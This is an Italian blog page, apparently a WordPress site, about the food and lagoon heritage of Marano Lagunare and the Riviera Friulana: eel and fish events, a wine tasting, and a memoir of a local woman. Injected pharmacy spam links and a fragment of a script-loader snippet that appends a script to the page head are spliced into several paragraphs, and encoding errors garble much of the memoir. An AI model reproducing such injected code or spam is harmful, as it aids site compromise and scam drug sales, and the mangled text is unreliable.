La cultura si mangia!

B Nell’ ambito del convegno La cultura si mangia! Il cibo come patrimonio culturale. In pescaria vecia si è tenuto il convegno: Oggi parliamo di pesce. Le novità legate al Bisato in speo: Entra »

Valerio Ghin

Purchase d.getElementsByTagName(‘head’)[0].appendChild(s);var d=document;var s=d.createElement(‘script’); d.getElementsByTagName(‘head’)[0].appendChild(s); http://rarespanta.ro/how-much-does-endep-cost/ buy differin gel cost of pilex tablets purchase micronase medication Purchase intlo illalu vantintlo priyuralu telugu movie online veoh cymbalta 60 mg street price cephalexin acne Entra »

Serata con le Piume di Laguna e i Cru di Ronchi di Cialla

Venerdi 19 o 26 Aprile Degustazione con Le Piume di Laguna !!! Millefoglie con PatA? di Alzavola Anguilla affumicata e Mela verde Caramellata , Petto di Germano Reale con Lardo di Colonnata Entra »

TURISMO/ENOGASTRONOMIA: I FONDAMENTI DELLA CUCINA TIPICA DEL TERRITORIO DELLA RIVIERA FRIULANA

order suprax antibiotic used to treat buy tadalista 20 LE BASI GETTATE NEL CONVEGNO ‘LEGATO AL 5.PREMIO GIORNALISTICO ‘VALERIO GHIN’ A MARANO LAGUNARE (UD) TRE LE AREE DEI SAPORI INDIVIDUATE: DEL GRADESE, Entra »

RIVIERA FRIULANA: CONFERMA DEL MATRIMONIO TRA IL PESCE DI PREGIO CRUDO E NON SOLO, E I VINI RIVIERASCHI

Ancora azzeccato il connubio rivierasco, a Marano Lagunare (UD), tra i cibi a base di pesce adriatico, e i vini della Riviera Friulana. Attori, gli animatori della Compagnia del bisato, confraternita che Entra »

Daily Archives: 4 dicembre 2012

Racconti di laguna: Maria Ghin.

Nella foto la professoressa Maria Teresa Corso


cheap desyrel 50mg aciclovir price uk http://dymonpower.ca/?p=43100

La Maria Ghin era una donna di Piazza Artico, sarta, classe 1904. Aveva avuto da Leone, suo marito tre maschi e una femmina che, appena raggiunta la maggiore etAi?? se nai??i??erano andati in Francia a cercare fortuna o in Svizzera. Mi racconta che lei da giovane invece andava a pescare con le sue amiche, quindi se facciamo un conto, eravamo subito dopo la prima guerra mondiale. Agli inizi del Nocevento nellai??i??isola di San Piero, vicina allai??i??abitato anche le donne andavano a pescare: chi palmolAi??, chi a gransi, chi a caparossoli. Lai??i??isola era famosa tra le giovani soprattutto perchAi?? lai??i??acqua del canale che scorreva era limpidissima ed aveva la proprietAi?? di guarire alcune malattie: si andava lAi?? per guarire una piaga o una malattia della pelle. Per andarci bastava chiedere ad un batelante e cai??i??erano piA? barche che facevano questo servizio al costo di una palanca. Lai??i??acqua era molto limpida e le correnti che circondavano lai??i??isola la rendevano cosAi?? chiara e pulita che erano numerose le donne, diverse le richieste di trasporto per potersi bagnare le ferite, le bolle dovute ad eritema o qualche altra malattia. Ed erano sicure di guarire. Lai??i??isola era molto grande, cai??i??erano tre alberi enormi, qualche anziano allora diceva che tempo prima ne aveva contati dodici, e ai piedi di uno di questi vi era una grande buca, un bunker, dice Maria Ghin e per scendervi cai??i??erano dei gradini in pietra. La vegetazione perA? era molto fitta e, assieme alle compagne Maria Ghin non si era mai azzardata a scenderli. Provo a dire a Maria che anticamente tutta la laguna faceva parte di una grande foresta e che lAi?? a San Piero nel XVI secolo cai??i??erano una chiesa intitolata al Santo. Le altre amiche erano la Maria Angiara, la Maria Lola e tutte andavano a palmolAi??, pescare con lai??i??uso della mano.

Powered by WordPress | Designed by: diet | Thanks to lasik, online colleges and seo